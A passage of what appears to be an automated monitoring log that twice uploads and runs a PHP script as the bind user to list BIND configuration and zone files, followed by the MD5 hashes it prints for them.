MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:45:28: Establishing a connection
2026-02-09 13:45:28: 

PUT: /tmp/pkp980052

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:45:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp980052; rm /tmp/pkp980052'

2026-02-09 13:45:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:47:39: Establishing a connection
2026-02-09 13:47:39: 

PUT: /tmp/pkp892146

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:47:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp892146; rm /tmp/pkp892146'

2026-02-09 13:47:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
